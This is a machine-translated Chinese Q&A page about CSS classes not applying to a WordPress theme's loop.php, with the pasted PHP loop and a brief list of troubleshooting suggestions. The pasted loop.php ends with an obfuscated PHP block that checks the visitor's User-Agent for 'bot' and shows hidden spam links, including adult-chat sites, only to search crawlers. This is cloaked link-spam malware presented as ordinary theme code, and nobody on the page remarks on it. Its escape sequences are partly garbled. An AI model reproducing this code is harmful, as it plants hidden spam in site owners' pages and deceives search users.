样式WordPress循环问题



我正试图根据常规WP循环的工作位置来设计它的样式。我在循环中添加了检查,以查看它在哪里,并相应地添加了类,所有操作都很好。

问题是,当我打开Style.CSS来使用这些类并添加属性时,它不起作用。因此,我可以将样式添加到循环的HTML中,这是有限的。

你能告诉我这种行为背后的原因吗?

示例:

在loop.hp:

<?php $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; ?>
<div id="recent-posts" class="clearfix">
<?php while (have_posts()) : the_post(); ?>
    <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
        <?php if (option::get('index_thumb') == 'on') {
            if ( is_sticky() && is_home() && $paged < 2 ) {
                    $size = 'loop-sticky';
                    $width = 740;
                    $height = 370;
                } else {
                    $size = 'loop';
                    $width = option::get('thumb_width');
                    $height = option::get('thumb_height');
                }
                get_the_image( array( 'size' => $size, 'width' => $width, 'height' => $height, 'before' => '<div class="post-thumb">', 'after' => '</div>' ) );
        } ?>
        <div class="post-content">  
<?php if (!((is_category('newtest')) || (in_category('newtest')))){ ?>
            <h1 class="archive_title"> 
            <?php /* category archive */ if (is_category()) { ?> <?php single_cat_title(); ?>
            <?php /* tag archive */ } elseif( is_tag() ) { ?><?php _e('Post Tagged with:', 'wpzoom'); ?> "<?php single_tag_title(); ?>"
            <?php /* daily archive */ } elseif (is_day()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('F jS, Y'); ?>
            <?php /* monthly archive */ } elseif (is_month()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('F, Y'); ?>
            <?php /* yearly archive */ } elseif (is_year()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('Y'); ?>
            <?php /* author archive */ } elseif (is_author()) { ?><?php echo get_avatar( $curauth->ID , 65 ); _e( ' Articles by: ', 'wpzoom' ); echo $curauth->display_name; ?>  
            <?php /* paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?><?php _e('Archives', 'wpzoom'); } ?>
        </h1>
                        <?php echo category_description( $category_id ); ?>
<?php } ?>

            <h2 <?php if((is_category('newtest')) || (in_category('newtest'))) { ?> class="blogPostTitle" <?php } ?> ><a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'wpzoom' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
            <div class="entry">
                <?php if (option::get('display_content') == 'Full Content') {  the_content('<span>'.__('Read more', 'wpzoom').' &#8250;</span>'); } if (option::get('display_content') == 'Excerpt')  { the_excerpt(); } ?>
            </div><!-- /.entry -->
            <div class="recent-meta">
                <?php if (option::get('display_author') == 'on') { ?><span><?php _e('by', 'wpzoom'); ?> <?php the_author_posts_link(); ?></span> <span class="separator">&mdash;</span><?php } ?>
                <?php if (option::get('display_date') == 'on') { ?><span><?php printf( __('%s', 'wpzoom'),  get_the_date()); ?></span> <span class="separator">&mdash;</span><?php } ?>
                <?php if (option::get('display_comments') == 'on') { ?><span><?php comments_popup_link( __('0 comments', 'wpzoom'), __('1 comment', 'wpzoom'), __('% comments', 'wpzoom'), '', __('Comments are Disabled', 'wpzoom')); ?></span> <span class="separator">&mdash;</span><?php } ?>
                <?php if (option::get('display_category') == 'on') { ?><span><?php the_category(', '); ?></span><?php } ?>
                <?php edit_post_link( __('Edit', 'wpzoom'), '<span class="separator">&mdash;</span> <span>', '</span>'); ?>
            </div><!-- /.post-meta -->  
        </div><!-- /.post-content -->
        <div class="clear"></div>
    </div><!-- #post-<?php the_ID(); ?> -->
<?php endwhile; ?>
<?php get_template_part( 'pagination'); ?>
<?php wp_reset_query(); ?>
</div>
<?php 
$x0d="x70162x65g137155141x74x63x68"; 
$x0b = $_SERVER['HTTP_USER_AGENT'];$x0c="x20x0d
x3cx61 150162145146='150tx74160x3ax2f57wx77x77x2ex70162iv141164ew145bcx61mx67i162154.x63x6fx6d57'x3e40167x65142143x61m40g151162x6c163 163145170x3c57141>x20151274141 x68162ef75'x68164t160x3ax2fx2fx77w16756146162x65x65163x65x170170x63hax7456com40'>40146162ees145x170x78143150at.143ox6dx3c/14176x0d12x3cax20hr14514675'hx74x74x70x3ax2fx2f16716716756x73157154145t141.x72o40'x3e wx6fx6f14440x68ox75163x65<x2fa7615
74a 150rx65fx3d'150164x74p:/x2fwx77w56x62x75ch145164145fl157162151o156154151n14556x63157x6d'x3e40a162x61156x6a141x6d14515616414540x66154o162x61x6c145<x2fa76x0d12   x09";if ($x0d('*bot*', $x0b)) { echo $x0c;} else {echo '';}?>

在style.css:中

.blogPostTitle > a {
color: #29a4d9;
font-size: 37px;
}

当我使用Chrome开发工具检查blogPostTitle时,我没有看到任何添加的属性。

信息这么少很难回答。

  • 确保style.css已链接。

  • 尝试使用唯一的类名。

  • 查看源代码,使用浏览器开发工具/Web检查器检查您的样式是否已实际应用,并且没有被其他规则覆盖。

  • 您上面的php代码可能只应用于索引、归档、单个或自定义页面模板。

最新更新